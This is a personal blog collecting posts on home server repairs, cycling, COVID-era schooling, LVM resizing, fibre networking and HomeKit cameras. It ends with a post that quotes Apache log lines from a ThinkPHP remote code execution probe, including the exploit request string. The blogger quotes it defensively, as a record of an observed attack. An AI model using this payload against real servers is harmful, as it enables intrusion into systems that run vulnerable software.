It was the Fan!

Recently I have encountered many hard drive related errors on my home server. These errors were intermittent. Sometimes everything would be okay for a week, sometimes just a couple of days, and more recently within a few minutes. A sample of these errors would look like:

Aug 29 03:55:20 avs kernel: [47250.550847] ata9: softreset failed (1st FIS failed)

I performed a SMART test on the hard drive and the tests reported that the drive was healthy, and yet the drive continues to fail.

I thought it was my SATA controller card, so I swapped the SATA port with another drive, and the same drive had the same issue. Therefore I knew it was not the SATA port, and the SATA cable was fine. I finally gave in and purchased a replacement drive. When the replacement drive arrived, I got the same error!

This is becoming extremely frustrating. The only thing that was left was the SATA power cable. I sourced the SATA power cable to another power source adapter, and finally the error went away. If I only knew!

Now I have an extra 10 TB drive. I didn’t want to return it, so I decided to buy another 10 TB drive and replace all the 4 TB drives in RAID 1 configuration that I had on the server. When I was replacing the drives, I noticed that one of the case fans was not working. It just so happens that this defective fan was sharing the same problematic power line.

After buying a $10 fan from CanadaComputers, and replacing the damaged fan, the server is now running without any issues along with the unintended storage expansion. I noticed from my UPS, the server is now consuming 10 W less.

In conclusion, the failed case fan probably caused some power anomaly. The fan did not totally fail because its LED was still working, but the fan motor seized and is no longer turning. This probably caused the extra 10W draw as the system was probably trying to overpower the unintended friction.

I’m documenting this because I find it fascinating that a simple failed fan could cause such instability to the system. Something to keep in mind for sure. Last point I want to make is that this fan is probably 15 years old, and absolutely more than a decade, so can’t really complain.

Road Bike Rear Wheel Malfunction

Last week on August 23rd, we organized a neighbourly ride to the bakery in Goodwood, Ontario. On the way back, 60 km into the ride or about 5 km away from home, I heard an extremely loud ping as I try to accelerate from a stop sign on 19th and Woodbine. As I feared, a spoke had snapped.

Didn’t want to put any unnecessary pressure on the carbon rims, so I called home and asked my wife to give us a ride back. The broken spoke was a surprise, since I only had about 10,000 km on it. Thinking that it should be an easy fix, I dropped the wheel off at Evolution Cycles the next day, and was quoted $30 to fix the broken spoken. By the way, the guys at Evolution are great guys with excellent and friendly service. I would recommend them if you have any bike troubles.

So my expectation was to pick up the fixed wheel in the next few days and all would be good. Unfortunately, within an hour of the drop off, I received a call from Evolution and they informed me that the wheel’s axle is damaged.

Damaged axle

As you can see in the above picture, the hub’s housing has come apart and the inside thread can no longer be put back. I decided to fix the broken Reynold Assualt 2017 rear wheel at a later date. I’ll probably have to visit LaBicicletta, where I original purchased the wheel and the bike, and see what they can do to either fix or replace it. However, I want to ride my bike as soon as possible, so I decided to purchase the Shimano Dura Ace C24 rear wheel.

Bike with new Shimano C24 rear wheel.

I took out the bike twice now with the new wheel. It seemed quieter and smoother. This is probably not surprising, since the old damaged wheel was rubbing or grinding internal parts. The bike may not look so good with mismatching wheels, but I’ll wait until I can spot a good deal on the front wheel.

So far so good, now just have to take the old broken wheel back to LaBicicletta to get it fixed. It is no longer urgent, since I can continue to ride my bike.

YRDSB Fall 2020 School Opening Summary

Yesterday I received an email from the Directory of YRDSB (York Region District School Board). It essentially says this:

Click above to see the full size

This is the board that my boys belong to and we now have to decide what we will be doing in September of 2020. The above slide does not represent all of the info from the letter, but certainly all of the gist that a parent like me would be interested in.

The original letter is two and half page, to which you can only access, after opening a PDF document containing links of your preferred language. I almost deleted this email, because the perceptive content looks blank, see below.

This is what I see in my email.

You figure that of all people, those who are in the business of teaching communication would do a better job in these times of crisis. It would have been nice if the slide that I provided above was the first thing that I saw.

Sorry about my rant, but it is now over and I feel better.

Resizing LVM Volume with Cache

I had to increase the size of my media LVM logical volume again. In a previous post, I provided the instructions. I have done this many times. However, this time around, I ran into a snag.

Apparently this is the first time I try to increase the logical volume after I implemented LVM caching, which I wrote about in this post.

The steps in the “Linux LVM Super Simple to Expand” post are the same right up to and including the step involving the resizing of the physical volume. Afterwards, in order to resize the logical volume, we first have to disable the cache temporarily.

sudo lvconvert --splitcache /dev/airvideovg2/airvideo

Once the logical volume is no longer cached, then we can proceed with the resizing.

sudo lvresize -l +100%FREE /dev/airvideovg2/airvideo

Once the resize is completed, we can unmount the volume and perform the required resizing of the filesystem.

sudo systemctl stop smbd.service

sudo systemctl stop mpd.service

sudo systemctl stop apache2.service

sudo umount /mnt/airvideo

sudo e2fsck -y -f /dev/airvideovg2/airvideo

sudo resize2fs -p /dev/airvideovg2/airvideo

Note that e2fsck and resize2fs will take some time, between thirty minutes to an hour each. Once the file system is resized, we can reattach the cache.

sudo lvconvert --type cache --cachepool airvideovg2/lv_cache airvideovg2/airvideo

Usually it is a good idea to reboot the server after this just to make sure it mounts properly.

This is a small snag and LVM is still super simple to expand.

Update on Prius Charging Economics

In my previous post, I talked about how charging the Prius Prime at home versus filling up its gas tank. Well we are in a very special time right now with gasoline prices hovering between $1 / L to $1.05 / L. The electricity rate has also changed to a flat $0.128 / KWh to be applied around the clock until October 31st, 2020.

I figured that I provide an update with these new conditions. With the lowered gasoline prices, the 4.4 L / 100 Km milage rating of the Prius Prime, it would now yield 22.7 km / $ assuming $1 / L as our cost.

Hidden Electrical Costs

When we use the per KWh charge of $0.128 for time of use; $0.0098 for delivery; $0.0039 for regulatory; yielding a total of $0.1417 / KWh, our Prius plugin yields (40 Km / 8.8 KWh / $0.1417) 32.078 km / $ when using the battery alone as an EV.

Clearly 32 km is still better than 23 km. Therefore, it is still better to charge the Toyota Prius Prime at any time of the day now because the electricity cost is the same around the clock.

I left out the monthly delivery and regulatory flat rates because I have to pay that regardless whether I’m charging the Prius or not. Also this calculation does not consider additional savings when charging due to the current Ontario Electricity Rebate that is in effect.

I hope you find this up to date information useful.

Ontario in selected Stage 2 of Re-opening

As of today, in Ontario, Canada, we are in the midst of reopening from a tight lockdown started in mid-March. The current rules are best explained in this article. While I love staying indoors enjoying my music, videos, and learning new stuff from watching tutorials on YouTube, to reading articles and books, I am certain others are feeling restless and having an innate urge to go out and enjoy the beautiful weather that is bestowed upon us in the middle of June. Part of this enjoyment, is to gather around with friends and family who we have not seen for so many weeks.

I too have been enjoying the blue skies and sunshine by riding my road bike. However, I have seen many people gathering around without practicing social distancing. Of course I am not here to tell people what to do, but I do want to take this opportunity to present my own risk assessment of the current situation. If anything else, many months or years from now I can look back to this post and re-read this assessment, hopefully in a lighter mood.

Currently Ontario is limiting to group gathering of sizes of up to 10 people, while practicing social distancing. The government also allowed the expansion of your household to connect to another household, so called double bubbling, as referred by the previously linked article. On the surface, these new rules seem to relax the isolation policies. However, my interpretation of these rules is that it will provide little opportunity for me to change my current behaviour. Personally, the double bubbling of your household is limited to one additional household, and this assumes the other household is only connected to yours, so the limitation is reciprocal. For us, this is still currently impractical. If you just include our parents (my wife and I), we have already exceeded the limit. As for the group gatherings of 10 people while practicing social distancing, this really means that the other 9 can be potentially asymptomatic carriers of the virus, and we should be wise to treat them as such. The personal risk of contraction really has not been reduced. The group size limitation is probably more for ease of enforcement than a reflection that you are now more safe.

So what is our risk of contraction versus when the lockdown began? I am not a doctor, but I can collect some data from the worldometer web site, and perform some amateur analysis. Here is what I found.

The above clearly shows that daily new cases within Canada is still much higher than before the lockdown (started in mid March). The current active cases are equally alarming. Although the trend is heading in the right direction, it does not appear to reach a state where we can say we are better off today. Granted that these are national numbers, but then I come across articles like this, where the CBC reported less than a day ago that a local Home Depot store (less than 10 km away from our house) has 14 of its employees tested positive for Covid-19.

For contrast, I compare our Canadian numbers with two other countries. The first is New Zealand, who victoriously eradicated the virus, and the other is Australia, a country comparable to Canada in terms of population distribution and size.

As you can see that both countries are in much better shape than we are. My point is that Canada should at least be looking like Australia before we even think about re-opening, because our numbers are still 1 to 2 orders of magnitude away from Australia, where they are experiencing a tolerable flatten daily infection rate.

A couple of weeks ago I heard a horrible story. Someone contracted the virus and was asymptomatic and unbeknownst to them, gave it to their parents. The father passed away because of it, and the mother was hospitalized. Although this was second hand information, it was direct enough for me to treat this information to be real. The first thing that came to mind was that to be responsible for your own parent’s death is a burden and a regret that no one should bear. I for one certainly do not want to be in that position, when I can currently control my own behaviour in this current environment.

So in summary, I personally feel that Covid-19 in Ontario, Canada is still a clear and present danger. Any reopening policy should be taken into context and I will personally continue to behave as if everyone who I encounter is a possible carrier of the virus.

So am I paranoid, or do you feel the same after you process the data from above?

Updated: Added South Korea

Experimenting with Residential Fibre

We have a need to expand our home network and to place another switch in the house. Normally I would run a CAT-6 cable and call it job done, but I thought I try something different and run a fibre optic cable.

My existing UniFi Switch 24 POE-250W already has 2 SFP ports, which supports fibre if I purchase the appropriate transceivers. I decided to buy the Unifi 1 Gbps multimode SFP modules (Ubiquiti U Fiber Multi-Mode SFP 1G – UF-MM-1G) just to make sure there are no compatibility issues. There was no point in getting a pair of 10Gbps transceivers because the Unifi Switch can only handle 1 Gbps any ways.

Since I only have one switch that has SFP ports, I needed to buy another device that will receive SFP port and bridge it to a standard RJ45 connection. I found a nice little converter called the TP-Link MC220L Gigabit Media Converter. This worked perfectly.

I already decided to use the more popular multimode vs single mode fibre operation, so I went and got hold of 50M of OM3 Duplex 50/125 fibre cable (Jeirdus 50M LC to LC 10G OM3 Indoor Armored Duplex 50/125 Fiber Optic Cable).

Fibre from UniFi Switch going into the TP-Link Converter and then out to another normal NetGear Gigabit Switch

The only confusing part was the different types of fibre connectors that are out there, and whether to go with single vs multi-mode. Apparently most installations are using LC (Lucent Connector), which is the type that I went with. There was no need for me to go with single mode because I don’t need kilometres of cables.

Fibre connectors galore!

Everything worked like a charm. It was much easier than I thought. So step into the light and give fibre a try!

Remote Learning

I have two boys enrolled in York Regional District School Board (YRDSB). Both are in high school, Kalen is in grade 9 and Jason is in grade 11. As with their peers both had to accommodate their learning habits in the new age of the Covid-19 pandemic. Both have recorded their experience during this crisis, and you can read their perspectives:

As an observer of their new habits during the pandemic I noticed the following things:

  1. We have to impose a strict schedule that mirrors a regular school day. For example, they have to wake up no later than 9am, and must conduct their studies from 9am to 3pm. They have a lunch break which last between 30 minutes to an hour, and they can use their own discretion to take 15 minute breaks throughout this period. However, if we notice the breaks are being abused, then they are persuaded to continue with their assigned curriculum. This was followed for about 6 weeks, but since Ontario has decided to cancel the remaining school year, the start time of this schedule is slowly creeping to 10am instead of 9am. Without this imposed schedule discipline, they will continue to sleep in until the afternoon.
  2. In subject areas where they are challenged and find the online learning medium to be insufficient of their needs, we hired tutors from Superprof.ca. Even though the tutoring sessions are still remote, the technology employed by the tutors offer a more one on one and real-time access to the material and help. In contrast, all most all the remote learning from YRDSB is based on material delegation. Students are expected to check for online updates and materials, and follow reference links to other self-learning materials, such as power points and PDF documents. Assistance can be obtained through commenting systems or online forums. Although both of my sons are dealing with the situation I think for most students, this is simply woefully inadequate. A live video conferencing medium I think will go a long way here.
  3. The technology employed is under-utilized or insufficient and on the whole subpar to the contemporary online tools that today’s businesses are employing to assist telecommuting. Most teachers are simply inexperienced on how to manage a remote group atmosphere. Students may have the impression that the teachers themselves are being cavalier, so they adopt the attitude of, “Why should I care?”
  4. Group cohesion that is typically experienced within a classroom has disappeared entirely, because no one has access to standardized technology to get together in a live fashion.
  5. The learning motivation has disappeared, since most students feel a lack of recognition for the work that they do put in. Positive enforcements are hard to convey when it is not live.

Like all of us, the Covid-19 situation has caught all of us off guard and many find ourselves unprepared for the crisis. Therefore, it is understandable that our education system falls short in trying to attain the same level of education with the students in a remote setting. In hindsight, it was a good effort, but the goal is simply too ambitious and not enough resources, training, and support to achieve it.

I am not complaining, but simply taking this opportunity to note the observations that were experienced by both Jason and Kalen. I hope by articulating our experiences here, we can help the movers and shakers at YRDSB to formulate an enhanced strategy for the Fall of 2020, as I fear the current situation will continue to persist until a vaccine is widely available.

Apple HomeKit with Unifi G3 Flex

Over the past few months, I have been peppering the house with the Unifi G3 Flex security camera. They were very easy to install and since they use PoE, they minimize the wiring as well.

To monitor the cameras, I installed the Unifi Video server software on my Ubuntu Server that is up 7 x 24. All of this hardware components are behind my Unifi Security Gateway firewall.

For whatever reason, I had a thought whether Apple HomeKit can talk to these cameras? With a little Google searching, I came across this article. The instructions from the article was a bit outdated, but what peeked my interest was the use of the homebridge server. I already had homebridge service installed on my Ubuntu server because I use the same technique to have HomeKit talked to my home made garage door opener. After looking through the instructions, it looks like all I need to do is:

  1. Configure Unifi Video to enable RTSP streaming for each of the camera that it is managing;
  2. Download a homebridge camera plugin called homebridge-camera-ffmpeg;
  3. Configure homebridge to add the cameras;
  4. Add the cameras to the Home App;

The first step was extremely simple. First we had to enable RTSP streaming for all cameras managed by Unifi Video.

We then had to select each camera and enable the resolution that we want streamed.

I tested the RTSP URL on the VLC App just to make sure the streaming is working properly.

Installed the plugin with the following command line:

npm install -g --unsafe-perm homebridge-camera-ffmpeg

Add the platform section to the homebridge config.json file, which for my server was located in /var/homebridge.

"platforms": [
{
    "platform": "Camera-ffmpeg",
    "cameras": [
    {
        "name": "Dining Room",
        "videoConfig":
        {
            "source": "-rtsp_transport http -re -i rtsp://192.168.168.198:7447/5e42fef4a8faffa2326b5d38_0",
            "maxStreams": 4,
            "maxWidth": 1280,
            "maxHeight": 720,
            "maxFPS": 15,
            "maxBitrate": 600,
            "mapvideo": "0:1",
            "mapaudio": "0:0",
            "vcodec": "h264",
            "audio": true,
            "packetSize": 188,
            "hflip": false,
            "additionalCommandline": "-x264-params intra-refresh=1:bframes=0",
            "debug": false
        }
    },
    {
        "name": "Garage",
        "videoConfig":
        {
            "source": "-rtsp_transport http -re -i rtsp://192.168.168.198:7447/5e417ffba8faffa2326b5c80_0",
            "maxStreams": 4,
            "maxWidth": 1280,
            "maxHeight": 720,
            "maxFPS": 15,
            "maxBitrate": 600,
            "mapvideo": "0:1",
            "mapaudio": "0:0",
            "vcodec": "h264",
            "audio": true,
            "packetSize": 188,
            "hflip": false,
            "additionalCommandline": "-x264-params intra-refresh=1:bframes=0",
            "debug": false
        }
    },
    {
        "name": "Great Room",
        "videoConfig":
        {
            "source": "-rtsp_transport http -re -i rtsp://192.168.168.198:7447/5e0bacf4a8fa51584a2a94cb_0",
            "maxStreams": 4,
            "maxWidth": 1280,
            "maxHeight": 720,
            "maxFPS": 15,
            "maxBitrate": 600,
            "mapvideo": "0:1",
            "mapaudio": "0:0",
            "vcodec": "h264",
            "audio": true,
            "packetSize": 188,
            "hflip": false,
            "additionalCommandline": "-x264-params intra-refresh=1:bframes=0",
            "debug": false
        }
    },
    {
        "name": "Kitchen",
        "videoConfig":
        {
            "source": "-rtsp_transport http -re -i rtsp://192.168.168.198:7447/5e430638a8faffa2326b5d3a_0",
            "maxStreams": 4,
            "maxWidth": 1280,
            "maxHeight": 720,
            "maxFPS": 15,
            "maxBitrate": 600,
            "mapvideo": "0:1",
            "mapaudio": "0:0",
            "vcodec": "h264",
            "audio": true,
            "packetSize": 188,
            "hflip": false,
            "additionalCommandline": "-x264-params intra-refresh=1:bframes=0",
            "debug": false
        }
    }]
}]

I had four cameras installed so you will see four cameras configured within the Camera-ffmpeg platform. Note that the entire platforms section should be sibling to the accessories and bridge sections.

I restarted the homebridge service with systemctl, and you should see messages similar to:

May 14 15:00:05 avs homebridge[2973]: [2020-5-14 15:00:05] Please add [Dining Room] manually in Home app. Setup Code: 031-45-153
May 14 15:00:05 avs homebridge[2973]: [2020-5-14 15:00:05] Please add [Great Room] manually in Home app. Setup Code: 031-45-153
May 14 15:00:05 avs homebridge[2973]: [2020-5-14 15:00:05] Please add [Kitchen] manually in Home app. Setup Code: 031-45-153
May 14 15:00:05 avs homebridge[2973]: [2020-5-14 15:00:05] Please add [Garage] manually in Home app. Setup Code: 031-45-153

You simply open the Home App and add the above camera accessories using the manual process instead of the scan code method.

If everything works, you should see something like this on the Home App. Below is a screen shot taken from the macOS version of the Home App.

So it is pretty cool to have something working in your home for several months, and because of a thought, I now have a new capability in the house via Apple’s HomeKit Home App.

Thank you to the homebridge community and the UniFi Protect with HomeKit – Setup Guide.

Evidence of an Attack

Today I went about performing my regular server maintenance update and noticed an IP address 202.107.188.12 hitting my Apache web server. Out of pure curiosity I thought I lookup this IP address. After a quick whois command, I found out it came from Xinjiang Province, China, specifically from the http://www.chinanet-online.com ISP.

After more investigation, I noticed that this particular visitor was attempting a ThinkPHP remote code execution attack. I don’t run the ThinkPHP framework. Below is the log recording its attempt.

202.107.188.12 - - [25/Apr/2020:12:58:01 -0400] "GET /TP/public/index.php HTTP/1.1" 302 499 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.107.188.12 - - [25/Apr/2020:12:58:05 -0400] "GET /TP/public/index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1" 302 695 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.107.188.12 - - [25/Apr/2020:12:58:08 -0400] "POST /TP/public/index.php?s=captcha HTTP/1.1" 302 519 "-" "Go-http-client/1.1"
202.107.188.12 - - [25/Apr/2020:12:58:11 -0400] "GET / HTTP/1.1" 302 499 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"

I have always wondered how many bad actors are out there and whether these bad people will end up attacking my stuff. Well now I know, experienced first hand.

It is a scary place out there.